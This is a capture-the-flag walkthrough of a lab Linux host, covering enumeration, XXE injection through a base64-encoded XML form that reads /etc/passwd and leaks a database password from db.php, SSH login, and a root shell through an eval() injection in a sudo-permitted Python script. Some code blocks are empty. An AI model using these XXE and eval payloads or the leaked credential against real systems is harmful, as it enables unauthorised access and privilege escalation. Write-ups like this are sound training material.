Enumeration
To begin I’ll set a variable for the IP address and do some initial enumeration of the host:
export ip=10.10.11.100
ping $ip
# TTL of 63, probably a linux host
nmap $ip
# Shows http and ssh running on their default ports
HTTP
A directory fuzz of the website hosted on port 8- of the target shows a few files of interest
dirsearch -e php,html -f -u http://$ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
- 200 - /index.php
- 403 - /icons/
- 301 - /resources
- 200 - /resources/
- 403 - /assets/
- 301 - /assets
- 200 - /portal.php
- 301 - /css
- 403 - /css/
- 200 - /db.php
- 403 - /js/
- 301 - /js
On the website at http://10.10.11.100, there’s a link to a beta php database submission form, which is located at http://10.10.11.100/log_submit.php. By opening up burpsuite, capturing requests and submitting a request on the form we can manipulate the data being sent in unexpected ways to observe any weaknesses.
The http body contains a payload with the variable data, and an encoded payload. To understand this better, it’s possible to investigate it a little with cyberchef:
From this the original payload as it was sent was:
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>asd</title>
<cwe>asd</cwe>
<cvss>asd</cvss>
<reward>asd</reward>
</bugreport>
XXE
To test for XML External Entity the data can be manipulated with a payload before encoding it with base64 then URL encoding:
|
|
Line 2
attempts to read /etc/passwd
and write the files content to entity example
. Line 4
has been modified to return the value of the entity example in place of the title, which the page code will return to the user.
By inserting this modifed payload and sending it to the server we get the contents of /etc/passwd
:
/etc/passwd
|
|
Lines 1
and 32
with users root
and development
are notable as the only accounts which are linked to a login shell.
The file db.php
can be retrieved similarly with the below payload:
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&example;</title>
<cwe>asd</cwe>
<cvss>asd</cvss>
<reward>asd</reward>
Since this is retrieving php source code filtering through base64 is necessary, otherwise the code will execute on the server side and won’t render in the response.
The response the server gives is:
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
SSH
Using the recovered credential it’s now possible to login to the server via ssh:
ssh development@$ip
cat /home/development/user.txt
sudo -l
# NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
ll /opt/skytrain_inc/ticketValidator.py
# root/root read only
cat /opt/skytrain_inc/ticketValidator.py
Vertical Privilege Escalation
Having found we can run sudo
without needing the password for one particular script, and can view it, it’s now worth viewing the script to see if it contains any vulnerabilities we can use:
ticketValidator.py
|
|
The code can be examined to reverse engineer a ticket which passes the validation checks.
# Skytrain Inc
## Ticket to
__Ticket Code:__
**354+500
Line 34
is of interest as this pipes direct user input from the ticket through eval()
, which in python will execute any inputs as python expression.
By experimenting with the python interpreter and some single line python expression we can discover that the following can spawn a shell:
__import__('pty').spawn('/bin/bash')
# wrapped in eval
eval ("__import__('pty').spawn('/bin/bash')")
# with a number at the front
eval (42 and "__import__('pty').spawn('/bin/bash')")
The ticket now modified with the payload looks like:
# Skytrain Inc
## Ticket to
__Ticket Code:__
**354+0 and __import__('pty').spawn('/bin/bash')
Running the ticket validator with this ticket drops into a root shell
cat /root/root.txt